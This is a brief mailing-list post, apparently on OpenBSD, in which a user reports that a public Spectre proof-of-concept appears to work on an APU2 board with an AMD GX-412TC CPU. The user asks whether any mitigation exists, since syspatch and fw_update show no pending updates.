Hi,
Seems like APU2 board is vulnerable to Spectre:
$ uname -r
6.3
$ dmesg | grep cpu0 | grep AMD
cpu0: AMD GX-412TC SOC, 998.27 MHz
$ git clone https://github.com/crozone/SpectrePoC
$ cd SpectrePoC
$ gmake
$ ./spectre.out 85
Using a cache hit threshold of 85.

I've double-checked output of syspatch(1) and fw_update(1) but no
pending updates exist. Am I missing something or there is no mitigation
for this AMD CPU family?
